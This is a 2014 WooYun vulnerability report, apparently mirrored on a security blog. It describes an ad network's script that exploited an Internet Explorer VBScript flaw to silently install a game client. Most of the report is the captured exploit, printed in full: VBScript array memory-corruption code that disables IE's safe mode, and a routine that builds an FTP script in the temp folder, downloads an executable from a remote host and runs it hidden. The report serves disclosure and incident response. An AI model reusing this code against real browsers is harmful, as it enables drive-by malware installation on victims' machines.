2529网盟利用最新ie漏洞强制安装光芒微端

admin 2015年8月14日07:41:00评论222 views字数 235阅读0分47秒阅读模式
摘要

2014-11-18: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-12-01: 细节向核心白帽子及相关领域专家公开
2014-12-11: 细节向普通白帽子公开
2014-12-21: 细节向实习白帽子公开
2014-12-31: 细节向公众公开

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2014-83515

漏洞标题: 2529网盟利用最新ie漏洞强制安装光芒微端

相关厂商: 2529.com

漏洞作者: whale

提交时间: 2014-11-18 20:37

公开时间: 2014-12-31 20:38

漏洞类型: 恶意信息传播

危害等级: 中

自评Rank: 10

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 恶意软件

5人收藏


漏洞详情

披露状态:

2014-11-18: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-12-01: 细节向核心白帽子及相关领域专家公开
2014-12-11: 细节向普通白帽子公开
2014-12-21: 细节向实习白帽子公开
2014-12-31: 细节向公众公开

简要描述:

我在用百度浏览器的ie兼容模式浏览 http://www.dy2018.com 这个电影网站时,发现莫名其妙运行了一个叫“光芒微端”的游戏客户端,然后我就用smartsniff抓包分析,在查看源代码时发现了2529网盟的js广告代码,里面就是最新公布的18年陈酿的ie漏洞!引用这个js就会从它的ftp上下载kuaidu_2_23_01.exe并运行!

详细说明:

我在用百度浏览器的ie兼容模式浏览 http://**.**.**.** 这个电影网站时,发现莫名其妙运行了一个叫“光芒微端”的游戏客户端,然后我就用smartsniff抓包分析,在查看源代码时发现了2529网盟的js广告代码,里面就是最新公布的18年陈酿的ie漏洞!引用这个js就会从它的ftp上下载kuaidu_2_23_01.exe并运行!

漏洞证明:

访问http://**.**.**.**/page/ms.js就可以看到这个js代码了,用ie访问**.**.**.**或者直接引用这个js都会自动在电脑上安装光芒微端

code 区域
function runmumaa() 
On Error Resume Next
Set objWsh = CreateObject("Wscript.Shell")

objWsh.run "cmd.exe /c del /F %temp%/ftp.txt & echo open **.**.**.**>>%temp%/ftp.txt & echo bin>>%temp%/ftp.txt & echo bin>>%temp%/ftp.txt & echo bin>>%temp%/ftp.txt & echo bin>>%temp%/ftp.txt & echo bin>>%temp%/ftp.txt & echo bin>>%temp%/ftp.txt & echo user>>%temp%/ftp.txt&echo anonymous>>%temp%/ftp.txt&echo testpass>>%temp%/ftp.txt&echo get kuaidu_2_23_01.exe>>%temp%/ftp.txt & echo bye>>%temp%/ftp.txt ",0,true

objWsh.run "cmd.exe /c cd %temp% & ftp -s:""%temp%/ftp.txt""",0,true

wscript.sleep 1000

objWsh.run """%temp%/kuaidu_2_23_01.exe""",0,true

document.write(Err.Description)
end function

dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray

Begin()

function Begin()
On Error Resume Next
info=Navigator.UserAgent

if(instr(info,"Win64")>0) then
exit function
end if

if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function

end if

win9x=0

BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function

function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function

function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function

sub testaa()
end sub

function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)

ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314

aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function


function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)

j=0
j=readmemo(i+&h120+k)

Exit for
end if

next
ab(2)=1.69759663316747E-313
runmumaa()
end function

function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000

redim Preserve aa(a0)
redim ab(a0)

redim Preserve aa(a2)

type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10

If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function

end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if


If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If

redim Preserve aa(a0)

end function

function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)

ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))

ab(0)=0

redim Preserve aa(a0)
end function

修复方案:

你懂得!!!!!!

版权声明:转载请注明来源 whale@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-11-21 08:25

厂商回复:

作为安全事件确认,已经在CNVD周报中进行预警,对于最新披露的微软漏洞,该案例已经有较深入分析。rank 10

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin